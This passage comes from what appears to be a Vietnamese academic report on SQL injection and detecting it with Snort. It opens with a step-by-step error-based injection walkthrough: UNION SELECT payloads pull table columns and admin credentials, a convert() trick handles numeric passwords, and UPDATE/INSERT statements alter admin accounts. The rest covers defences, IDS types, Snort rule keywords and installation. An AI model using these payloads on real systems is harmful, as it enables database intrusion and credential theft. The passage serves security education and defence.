[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.

/index.asp, line 5

Làm tương tự như trên, có thể lấy được tên của các column cịn lại như "password", "details". Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE

TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN

('login_id','login_name','password',details')--Khi đó thơng báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.

18

</div><span class="text_page_counter">Trang 19</span><div class="page_container" data-page="19">

/index.asp, line 5

<b>8. Thu thập các dữ liệu quan trọng</b>

Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.

Có thể lấy login_name đầu tiên trong table "admin_login" như sau:

UNION SELECT TOP 1 login_name FROM

admin_login--Khi đó thơng báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.

/index.asp, line 5

Dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:

UNION SELECT TOP 1 password FROM admin_login where

login_name='neo'--Khi đó thơng báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.

19

</div><span class="text_page_counter">Trang 20</span><div class="page_container" data-page="20">

/index.asp, line 5

Và bây giờ là đã có thể login vào với username là "neo" và password là "m4trix".

<b>9. Nhận các numeric string</b>

Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173". Vậy nếu ta thi hành lệnh sau:

UNION SELECT TOP 1 password FROM admin_login where

login_name='trinity'--Thì khi đó chỉ nhận được thơng báo lỗi "Page Not Found". Lý do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

UNION SELECT TOP 1 convert(int, password %2b'%20morpheus') FROM admin_login where

login_name='trinity'--Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.

/index.asp, line 5

20

</div><span class="text_page_counter">Trang 21</span><div class="page_container" data-page="21">

Và nghĩa là bây giờ ta cũng có thể login vào với username 'trinity' và password là '31173'

<b>10. Thay đổi dữ liệu (Update/Insert) của CSDL</b>

Khi đã có tên của tất cả các column trong table, có thể sử dụng lệnh UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.

Để thay đổi password của "neo", có thể làm như sau:

UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE

login_name='neo'--Hoặc nếu bạn muốn một record mới vào table:

INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES

(666,'neo2','newpas5','NA')--Và bây giờ có thể login vào với username "neo2" và password là "newpas5"

<b>1.4. Các phương pháp ngăn chặn, phịng tránh, cơng cụ giám sát tấn công tiêm nhiễm SQL </b>

Các nhà nghiên cứu đã đề xuất ra rất nhiều các biện pháp phịng chống và ngăn chặn tấn cơng tiêm nhiễm SQL. Các biện pháp được thực thi ở các mức khác nhau từ ứng dụng web, trung gian đến CSDL. Các biện pháp ngăn chặn tấn công tiêm nhiễm SQL có thể kể đến như sau:

<i><b>Tham số hóa truy vấn: Sử dụng tham số hóa truy vấn là một trong những cách tốt nhất để </b></i>

ngăn chặn việc tiêm nhiễm SQL. Nó cũng đơn giản để viết và dễ hiểu hơn các truy vấn SQL động. Phương pháp này nhắm tới việc ngăn chặn tấn công tiêm nhiễm SQL bằng cách cho phép nhà phát triển có thể xác định chính xác cấu trúc của câu truy vấn và truyền các tham số giá trị một cách tách biệt. Nếu người dung nhập “12345’ or 1=1 --“ vào trường user_name thì truy vấn tham số hóa sẽ tìm kiếm trong CSDL để khớp với tồn chuỗi

“12345’ or 1=1 -- “. Điều đó sẽ ngăn ngừa cấu trúc câu truy vấn bị thay đổi bởi bất kỳ đầu vào nào. Sau đây là một số ngơn ngữ lập trình có áp dụng kỹ thuật này:

Java EE - sử dụng PreparedStatement () với các biến liên kết.

.NET - sử dụng các truy vấn được tham số hóa như SqlCommand () hoặc OleDbCommand () với các biến liên kết

21

</div><span class="text_page_counter">Trang 22</span><div class="page_container" data-page="22">

PHP - sử dụng PDO với các truy vấn được tham số hóa mạnh mẽ.

Hibernate - sử dụng createQuery () với các biến liên kết (được gọi là tham số có tên trong Hibernate)

SQLite - sử dụng sqlite3_prepare () để tạo đối tượng câu lệnh Ví dụ trong PHP. $stmt = $dbh->prepare('SELECT * FROM customers

WHERE ssn = :ssn');

$stmt-> bindParam(':ssn' => $ssn);

<i><b>Sử dụng các thủ tục lưu trữ: Các thủ tục được lưu trữ sẽ thêm một lớp bảo mật bổ sung </b></i>

vào CSDL bên cạnh sử dụng truy vấn tham số. Nó thực hiện giúp cho ứng dụng xử lý dữ liệu đầu vào dưới dạng thủ tục được xây dựng từ trước thay vì thực thi câu lệnh SQL trực tiếp.

Các thủ tục được viết và lưu trữ trong máy chủ CSDL, sau đó được gọi từ ứng dụng web. Nếu người dùng truy cập vào CSDL chỉ được phép thông qua các thủ tục được lưu trữ thì khơng cần thiết phải phân quyền người dùng trên các bảng dữ liệu. Bằng cách này, tính an tồn của CSDL được nâng cao.

<i><b>Xác thực dữ liệu đầu vào của người dùng: Ngay cả khi sử dụng tham số trong truy vấn được</b></i>

áp dụng, việc thực hiện xác thực đầu vào là cần thiết để đảm bảo các thuộc tính dữ liệu phù hợp như kiểu/ loại, độ dài, định dạng,... Chỉ xử lý dữ liệu đầu vào đã qua xác thực cho CSDL.

Với những kiểm soát đơn giản như kiểm soát về kiểu dữ liệu cũng có thể hạn chế đáng kể các cuộc tấn cơng. Ví dụ, trường bankNumber được khai báo ở kiểu số. Khi nhận dữ liệu đầu vào,

<i><b>các ký tự không phải là số sẽ bị loại bỏ. Mã hóa dữ liệu đầu vào: Tấn công tiêm nhiễm SQL </b></i>

thường lợi dụng đưa các chuỗi ký tự đặc biệt hay các chuỗi được sử dụng trong ngữ pháp SQL như OR, AND, UNION, … để tiêm nhiễm, đánh lừa CSDL. Trong thực tế, giải pháp hạn chế nhập những ký tự đặc biệt đã được áp dụng nhưng nó lại đi kèm với hạn chế làm giảm đi tính an tồn ở khía cạnh dữ liệu dễ bị suy đốn, dễ bị tiết lộ. Vì vậy mà ngồi kết hợp với tham số hóa truy vấn, chuỗi dữ liệu đầu vào có thể được tiến hành mã hóa thay cho dạng plain text thơng thường. Việc mã hóa dữ liệu vừa hữu ích trong chống tấn cơng tiêm nhiễm SQL lại vừa có giá trị trong việc bảo mật thông tin.

<i><b> Ẩn thông tin của các thơng báo: Thơng báo lỗi rất hữu ích cho những kẻ tấn cơng tìm hiểu thêm </b></i>

về kiến trúc CSDL. Trong trường hợp tấn cơng suy đốn, kẻ tấn cơng có thể lợi dụng các thơng báo lỗi để hồn thiện kiến thức, phương án tấn cơng. Vì vậy thông báo lỗi nên chỉ hiển thị các thông tin cần thiết. Tốt hơn hết là hiển thị thơng báo lỗi chung cho biết có lỗi xảy ra và khuyến khích người dùng liên hệ với nhóm hỗ trợ kỹ thuật trong trường hợp sự cố vẫn cịn.

<i><b> Hạn chế đặc quyền: khơng kết nối với cơ sở dữ liệu của bằng tài khoản có quyền truy cập root trừ </b></i>

khi được yêu cầu vì những kẻ tấn cơng có thể có quyền truy cập vào tồn bộ hệ thống. Do đó, tốt nhất là sử dụng một tài khoản có các đặc quyền hạn chế để giới hạn phạm vi thiệt hại trong trường hợp bị tấn cơng tiêm nhiễm SQL. Ngồi ra, xác định người dùng khác nhau với các đặc quyền khác

22

</div><span class="text_page_counter">Trang 23</span><div class="page_container" data-page="23">

nhau và sử dụng trong q trình phát triển có thể thực sự hữu ích trong việc giảm thiểu rủi ro của cuộc tấn công tiêm nhiễm SQL.

Trên đây là một số phương pháp có thể được thực hiện ngay để giảm nguy cơ bị tấn công tiêm nhiễm SQL. Tuy nhiên những phương pháp này lại phụ thuộc nhiều vào quá trình thiết kế, phát triển ứng dụng web cũng như CSDL.

Bên cạnh đó, có thêm các giải pháp hỗ trợ với mục đích phát hiện và ngăn chặn tấn công tiêm nhiễm SQL như:

<i><b>Phát hiện và ngăn chặn dựa trên chữ ký “signature”: Phương pháp này tập trung xây </b></i>

dựng tập các mẫu tấn công tiêm nhiễm SQL có thể có. Q trình xây dựng địi hỏi phải cập nhật thường xuyên các mẫu tấn công. Phương pháp hoạt động tương tự như các chương trình anti – virus. Khi có một truy vấn bất kỳ đến CSDL, nó sẽ được so sánh với các mẫu tấn công. Nếu khớp mẫu tấn công, truy vấn sẽ bị chặn lại.

<i><b>Phát hiện và ngăn chặn trên bất thường: Ngược lại với phương pháp phát hiện và ngăn </b></i>

chặn dựa trên chữ ký, phương pháp này xây dựng tập các mẫu hợp lệ. Bất kỳ một truy vấn đến CSDL nằm ngoài tập mẫu này sẽ bị cho là tấn công và ngăn chặn lại.

<i><b>Phân tích mã: Phương pháp này sử dụng kiểm thử để phát hiện ra lỗ hổng của ứng dụng. </b></i>

Bộ kiểm thử sẽ sinh ra một loạt các dạng tấn công tiêm nhiễm SQL nhằm kiểm tra phản hồi của ứng dụng web. Dựa vào kết quả trả về của bộ kiểm thử, nhà phát triển có thể xác định các lỗ hổng trên ứng dụng và tìm cách khắc phục các lỗ hổng này. Một số bộ kiểm thử thông dụng với tấn công tiêm nhiễm SQL như SQLMap, Acunetix, Burp suite, Netsparker, …

<i><b> Bên cạnh đó, các máy chủ cơ sở dữ liệu cần được cập nhật và vá lỗi đầy đủ, nên đặt sau </b></i>

hệ thống tường lữa để tránh sự tương tác trực tiếp, điều này sẽ giúp tăng cường bảo mật.Trên

<b>hệ thống cần có thêm các dịch vụ hay thiết bị dị tìm xâm phạm trai phép (IDS/IPS) như SNORT, Cisco IDS … </b>

<b>1.5. Kết chương </b>

Chương 1 đã nêu lên một cách tổng về tấn công tiêm nhiễm SQL, các loại tấn công và một số phương pháp phát hiện, ngăn chặn.

23

</div><span class="text_page_counter">Trang 24</span><div class="page_container" data-page="24">

<b> </b>

<b>Chương 2: Tổng quan về IDS/SNort trong SQL Injection</b>

<b>2.1 Hệ thống phát hiện xâm nhập (IDS) 2.1.1 IDS - Intrusion Detection System </b>

IDS là một hệ thống phần mềm hoặc phần cứng chuyên dụng tự động thực hiện quy trình giám sát các sự kiện trong mạng, thực hiện phân tích những vấn đề an ninh cho hệ thống. Chức năng chính của IDS là phát hiện xâm nhập trái phép vào hệ thống mạng, tăng khả năng giám sát các hoạt động trên mạng, cảnh báo và hỗ trợ ngăn chặn tấn công. Những ưu điểm vượt trội mà IDS đem lại đó là khả năng phát hiện các cuộc tấn công, xâm nhập từ bên trong cũng như bên ngoài hệ thống, những thông tin hệ thống IDS cung cấp sẽ giúp chúng ta xác định phương thức và loại tấn cơng, xâm nhập từ đó đưa ra được những phương án phòng chống phù hợp. Tuy nhiên, IDS cũng có những nhược điểm nhất định. Vì bản thân nó là một hệ thống giám sát thụ động, cơ chế ngăn chặn rất hạn chế (Không chống được tấn công) và phần lớn hệ thống IDS sẽ đưa ra các cảnh báo khi các cuộc tấn công, xâm nhập đã được thực hiện và gây ra ảnh hưởng đến hệ thống.

24

</div><span class="text_page_counter">Trang 25</span><div class="page_container" data-page="25">

<b>2.1.2 Phân loại IDS </b>

<b>2.1.2.1 Phân loại theo chức năng </b>

Có 2 loại IDS chính :

<small>•</small> Host-based Intrusion Detection System (HIDS) – Một hệ thống có quyền truy cập trực tiếp vào cả mạng nội bộ và internet, HIDS chụp một 'hình ảnh' của tập tin của tồn bộ hệ thống và sau đó so sánh nó với một hình ảnh trước đó. Nếu hệ thống tìm thấy sự khác biệt lớn, chẳng hạn như các tệp bị thiếu, v.v., thì nó ngay lập tức cảnh báo người quản trị.

<small>•</small> Network-based Intrusion Detection System (NIDS) - Một hệ thống phân tích lưu lượng truy cập toàn bộ mạng con, NIDS theo dõi cả lưu lượng truy cập trong và ngoài, đến và đi từ tất cả các thiết bị của mạng.

<b>a. HOST-BASED INTRUSION DETECTION SYSTEMS (HIDS) </b>

Host-based Intrusion Detection System (HIDS) ,Hệ thống phát hiện xâm nhập máy chủ, Kiểm tra các sự kiện trên máy tính trong mạng của người dùng thay vì lưu lượng truy cập xung quanh hệ thống. Nó chủ yếu hoạt động bằng cách xem xét dữ liệu trong các tệp quản trị trên máy tính mà nó bảo vệ, các tệp đó bao gồm tệp nhật ký (log) và tệp cấu hình.

Ảnh 2, Hệ thống Hids

HIDS sẽ sao lưu các tệp cấu hình của người dùng để người dùng có thể khôi phục cài đặt nếu vi-rút độc hại làm mất an toàn hệ thống của người dùng bằng cách thay đổi thiết lập của máy

25

</div><span class="text_page_counter">Trang 26</span><div class="page_container" data-page="26">

tính. Loại IDS này giám sát hệ thống và nhật ký ứng dụng để phát hiện hoạt động của kẻ xâm nhập. Một số IDS phản ứng khi một số hoạt động độc hại diễn ra, một số khác giám sát tất cả lưu lượng truy cập đến máy chủ nơi IDS được cài đặt và đưa ra cảnh báo theo thời gian thực

<b>b. NETWORK-BASED INTRUSION DETECTION (NIDS) </b>

Network-based Intrusion Detection System (NIDS) còn được gọi là hệ thống phát hiện xâm nhập mạng hoặc IDS mạng, kiểm tra lưu lượng trên mạng của người dùng. Như vậy, một NIDS điển hình phải bao gồm một bộ dị tìm gói để thu thập lưu lượng mạng để phân tích.

<small>Ảnh 1: Hệ thống NIDS </small>

NIDS được cài đặt trên một phần cứng chuyên dụng. Các giải pháp doanh nghiệp trả phí cao cấp đi kèm như một phần của bộ mạng với phần mềm được tải sẵn trên đó. Tuy nhiên, người dùng không phải trả nhiều tiền cho phần cứng chuyên dụng. NIDS yêu cầu một mô-đun cảm biến để nhận lưu lượng, vì vậy người dùng có thể tải nó vào một bộ phân tích mạng LAN hoặc người dùng có thể chọn phân bổ một máy tính để chạy tác vụ. Tuy nhiên, hãy đảm bảo rằng thiết bị mà người dùng chọn cho nhiệm vụ có đủ tốc độ xung nhịp để khơng làm chậm mạng của người dùng.

Loại IDS này sẽ nắm bắt các gói dữ liệu được nhận và gửi trong mạng

26

</div><span class="text_page_counter">Trang 27</span><div class="page_container" data-page="27">

và kiểm đếm các gói đó từ cơ sở dữ liệu chữ ký. nếu gói trùng khớp thì sẽ khơng có cảnh báo nào được đưa ra, nếu khơng nó sẽ đưa ra cảnh báo cho mọi người biết về một cuộc tấn công độc hại. Snort là một ví dụ điển hình về NIDS.

<b>2.1.2.1 Phân loại theo phương thức hoạt động </b>

Signature-based IDS (IDS dựa trên chữ kí)

IDS này xác minh chữ ký của các gói dữ liệu trong lưu lượng mạng. Về cơ bản, nó tìm các gói dữ liệu và sử dụng chữ ký của chúng để xác nhận xem chúng có phải là mối đe dọa hay khơng. Những chữ ký như vậy thường được biết đến là các chữ ký liên quan đến xâm nhập hoặc các dấu hiệu bất thường liên quan đến giao thức internet. Những kẻ xâm nhập như virus máy tính… ln có dấu hiệu riêng nên phần mềm IDS có thể dễ dàng phát hiện. Vì nó sử dụng chữ ký để xác định các mối đe dọa.

Anomaly-based IDS (IDS dựa trên bất thường)

IDS này thường phát hiện xem gói dữ liệu có hoạt động bất thường hay khơng. Nó đưa ra cảnh báo nếu có sự bất thường về gói trong phần tiêu đề giao thức. Hệ thống này tạo ra kết quả tốt hơn trong một số trường hợp so với IDS dựa trên chữ ký . Thông thường, các IDS như vậy thu thập dữ liệu từ mạng và trên các gói này, sau đó áp dụng các quy tắc cho mạng để phát hiện các điểm bất thường

27

</div><span class="text_page_counter">Trang 28</span><div class="page_container" data-page="28">

<b> 2.1.2 Giới thiệu một số IDS phổ biến </b>

SolarWinds Security Event Manager

Cả hai Khơng Khơng Có Khơng

<b>2.2 Hệ thống phát hiện xâm nhập Snort (IDS/ Snort) </b>

<b>Snort là một ứng dụng bảo mật mới với 3 chức năng chính là: đánh hơi gói tin, theo dõi gói tin và sử dụng như một NIDS.</b>

Nó khá phổ biến và là phần mềm nguồn mở giúp giám sát lưu lượng mạng trong thời gian thực, do đó nó cũng có thể được coi là một cơng cụ nghe lén gói tin. Về cơ bản, nó kiểm tra sâu từng gói dữ liệu để xem liệu có bất kỳ payload độc hại nào khơng. Nó cũng có thể được sử dụng để phân tích giao thức mạng. Nó có khả năng phát hiện các cuộc tấn công khác nhau như quét cổng, tràn bộ đệm( port scans, buffer overflow), v.v. Nó có sẵn cho

28

</div><span class="text_page_counter">Trang 29</span><div class="page_container" data-page="29">

tất cả các nền tảng, ví dụ như Windows, Linux , v.v. khơng u cầu biên dịch; Tuy nhiên, quyền root là bắt buộc. Nó kiểm tra tất cả lưu lượng truy cập mạng theo bộ quy tắc được cung cấp (rules) và sau đó cảnh báo về bất kỳ hoạt động đáng ngờ nào.

Dưới đây Một số tính năng nổi bật của Snort:

Thiết kế theo mơ-đun xử lí

Sử dụng cấu hình đơn giản vì có những cấu hình sẵn

Hỗ trợ plugin framework (hơn 200 plugin)

Tự động tạo tài liệu tham khảo

Cấu hình cho bộ nhớ có thể mở rộng thêm

Phân tích quy tắc và cú pháp

Tuy nhiên dưới đây cũng là 1 số nhược điểm của Snort:

Rất phức tạp, ngay cả với các quy tắc được định cấu hình sẵn, u cầu có kiến thức chun mơn sâu để hiểu rõ.

Q tin cậy vào cộng đồng để được hỗ trợ, đôi khi sẽ không thể phát hiện ra những cuộc tấn công mới.

Cấu trúc của Snort được xây dựng theo kiểu module, cho phép người dùng dễ dàng thêm các chức năng mới bằng cách cài đặt hoặc viết thêm các module. Snort có thể hoạt động ở nhiều vị trí khác nhau trong mạng, tùy thuộc vào mục đích phát hiện các hoạt động xâm nhập. Ví dụ:

<b>2.2.1 Thành phần chính của Snort</b>

Snort được chia thành nhiều thành phần và tất cả các thành

phần phối hợp với nhau để phát hiện sự xâm nhập. Sau đây là các thành

</div><span class="text_page_counter">Trang 30</span><div class="page_container" data-page="30">

4. Hệ thống cảnh báo và ghi dấu - Logging and Alerting System 5. Môđun xuất - Output Modules

<i><b> Hình 3.2: Kiến trúc của Agent thu thập, phân tích</b></i>

Khi Snort hoạt động, nó sẽ lắng nghe tất cả các gói tin nào di chuyển qua nó. Các gói tin sau khi bị bắt sẽ được đưa vào module giải mã. Tiếp theo sẽ vào module tiền xử lý và rồi module phát hiện. Tại đây tùy vào việc có phát hiện được xâm nhập hay khơng mà gói tin có thể bỏ qua để lưu thơng tin tiếp hoặc đưa vào module Log và cảnh báo để xử lý. Khi các cảnh báo được xác định, Module kết xuất thông tin sẽ thực hiện việc đưa ra cảnh báo theo đúng định dạng mong muốn.

<b> </b>

<b>Module giải mã gói tin:</b>

Module giải mã gói tin bắt mọi gói tin trên mạng lưu thơng qua hệ thống. Bắt các gói dữ liệu các nhau của tầng network (Ethernet, SLIP, PPP….);

Một gói tin sau khi được giải mã sẽ được đưa tiếp vào module tiền xử lý.

<b> Module tiền xử lý:</b>Thực hiện 3 nhiệm vụ chính:

Kết hợp lại các gói tin: Khi một dữ liệu lớn được gửi đi, thơng tin sẽ khơng đóng gói tồn bộ vào một gói tin mà thực hiện phân mảnh, chia thành nhiều gói tin rồi mới gửi đi. Khi Snort nhận được các gói tin này, nó phải thực hiện kết nối lại để có gói tin ban đầu. Module tiền xử lý giúp Agent có thể hiểu được các phiên làm việc khác nhau; Giải mã và chuẩn hóa giao thức (decode/normalize): cơng việc phát hiện xâm nhập dựa trên dấu hiệu nhận dạng nhiều khi thất bại khi kiểm tra các giao thức có dữ liệu có thể được biểu diễn dưới nhiều dạng khác nhau.

Phát hiện các xâm nhập bất thường (nonrule/anormal): xử lý các xâm nhập khơng thể hoặc rất khó phát hiện bằng các luật thông thường.

30

</div><span class="text_page_counter">Trang 31</span><div class="page_container" data-page="31">

<b> Module phát hiện:</b>

Đây là module quan trọng nhất, nó chịu trách nhiệm phát hiện các dấu hiệu xâm nhập. Module phát hiện sử dụng các luật được định nghĩa trước để so sánh với dữ liệu thu thập được, từ đó xác định xem có xâm nhập xảy ra hay không;

Một vấn đề quan trọng đối với module phát hiện và vấn đề thời gian xử lý gói tin: một IDS thường nhận rất nhiều gói tin và bản thân nó cũng có rất nhiều luật xử lý. Khi lưu lượng mạng quá lớn có thể xảy ra việc bỏ sót hoặc khơng phản hồi đúng lúc. Khả năng xử lý của module phát hiện phụ thuộc vào nhiều yếu tố: số lượng các luật, tốc độ hệ thống, băng thơng mạng;

Một module phát hiện có khả năng tách các phần của gói tin ra và áp dụng luật lên từng phần của gói tin:

+ IP header

+ Header ở tầng transport: TCP, UDP

+ Header ở tầng application: DNS, HTTP, FTP … + Phần tải của gói tin.

<b>Module log và cảnh báo:</b>

Tùy thuộc vào module phát hiện có nhận dạng được xâm nhập hay khơng mà gói tin có thể bị ghi log hay đưa ra cảnh báo. Các file log là các file dữ liệu có thể ghi dưới nhiều định dạng khác nhau.

<b>2.2.2 Rules trong snort</b>

- Cấu trúc tệp luật của Snort gồm 2 phần là Rule Header | Rule Option Cấu trúc : Rule Header | Rule Option

Phần Header: chứa thông tin về hành động mà luật đó sẽ thực hiện khi phát hiện ra có xâm nhập nằm trong gói tin và nó cũng chứa tiểu chuẩn để áp dụng luật với gói tin đó.

31

</div><span class="text_page_counter">Trang 32</span><div class="page_container" data-page="32">

Phần Option: chứa thơng điệp cảnh báo và các thông tin về các phần của gói tin dùng để tạo nên cảnh báo. Phần Option chứa các tiêu chuẩn phụ thêm để đối sánh với gói tin. Một option gồm 2 phần: một từ khóa và một tham số.

* Từ khóa ack

Trong header TCP có chứa trường Acknowledgement Number với độ dài 32 bit. Trường này chỉ ra số thứ tự tiếp theo gói tin TCP của bên gửi đang được chờ để nhận. Trường này chỉ có ý nghĩa khi mà cờ ACK được thiết lập. Các công cụ như Nmap sử dụng đặc điểm này để ping một máy. Ví dụ nó có thể gửi gói tin TCP tới cổng 80 với cờ ACK được bật và số thứ tự là 0. Bởi vậy bên nhận thấy gói tin khơng hợp lệ sẽ gửi lại gói tin RST. Và khi nhận được gói RST này, Nmap sẽ biết được IP này đang tồn tại hay không.

* Từ khóa classtype

Các luật có thể được phân loại và gán cho 1 số chỉ độ ưu tiên nào đó để nhóm và phân biệt chúng với nhau. Để hiểu rõ hơn về classtype thì ta cần hiểu được file

classification.config. Mỗi dịng trong file này đều có cấu trúc như sau: Config classification: name, description, priority

* Từ khóa content

Một đặc tính quan trọng của Snort là có khả năng tìm 1 mẫu dữ liệu bên trong một gói tin.

* Từ khóa dsize

Dùng để đối sánh theo chiều dài của phần dữ liệu. Rất nhiều cuộc tấn công sử dụng lỗi tràn bộ đệm bằng cách gửi các gói tin có kích thước rất lớn.

* Từ khóa flags

Từ khóa này dùng để phát hiện xem những bit cờ flag nào được bật trong phần TCP header của gói tin. Mỗi cờ có thể được sử dụng như 1 tham số trong từ khóa flags.

32

</div><span class="text_page_counter">Trang 33</span><div class="page_container" data-page="33">

* Từ khóa fragbits

Phần IP header của gói tin chứa 3 bit dùng để chống phân mảnh và tổng hợp các gói tin IP. Các bit đó là:

+ Reversed bit (RB) dùng để dành cho tương lai

+ Don’t Fragment Bit (DF): nếu bit này được thiết lập tức là gói tin khơng bị phân mảnh + More Fragments Bit (MF): nếu được thiết lập thì các phần khác của gói tin vẫn đang trên đường đi mà chưa tới đích. Nếu bit này khơng được thiết lập thì đây là phần cuối cùng của gói tin.

<b> </b>

<b>2.2.3 Cách cài đặt Snort </b>

33

</div><span class="text_page_counter">Trang 34</span><div class="page_container" data-page="34">

Hình 2.1 , Mơ hình triển khai Snort IDS phát hiện cảnh báo SQL Injection

Bước 1,Cài đặt và cấu hình Snort trên máy Ubutu cập nhật hệ thống sử dụng câu lệnh

<small>apt-get update && apt-get upgrade</small>

Sau đó cài đặt thư viện cần thiết

<small>apt install build-essential libpcap-dev libpcre3-dev libnet1-dev zlib1g-dev luajit hwloc libdnet-devlibdumbnet-dev bison flex liblzma-dev openssl libssl-dev pkg-config libhwloc-dev cmake </small>

<small>cpputest libsqlite3-dev uuid-dev libcmocka-dev libnetfilter-queue-dev libmnl-dev autotools-dev libluajit-5.1-dev libunwind-dev -y</small>

34

</div><span class="text_page_counter">Trang 35</span><div class="page_container" data-page="35">

sử dụng Ifconfig kiểm tra card mạng và địa chỉ ip :ens33 và ip 192.168.1.135

Dùng câu lệnh :sudo apt-get install snort* để cài đặt Snort

35

</div><span class="text_page_counter">Trang 36</span><div class="page_container" data-page="36">

- Cấu hình dải mạng cần bảo vệ

36

</div><span class="text_page_counter">Trang 37</span><div class="page_container" data-page="37">

- Vào file config Snort chỉnh sửa Ip cần bảo vệ nano /etc/snort/snort.conf

<b>ipvar HOME_NET 192.168.1.135</b>

37

</div><span class="text_page_counter">Trang 38</span><div class="page_container" data-page="38">

Bây giờ chạy lệnh dưới đây để kích hoạt chế độ IDS của snort:

<b>sudo snort -A console -i ens33 -c /etc/snort/snort.conf</b>

38

</div><span class="text_page_counter">Trang 39</span><div class="page_container" data-page="39">

Sau khi snort được cài đặt và định cấu hình, chúng ta có thể bắt đầu thực hiện các thay đổi đối với các quy tắc của nó theo yêu cầu và mong muốn của riêng mình. Để biết các quy tắc hoạt động của snort, sử dụng lệnh

</div>

×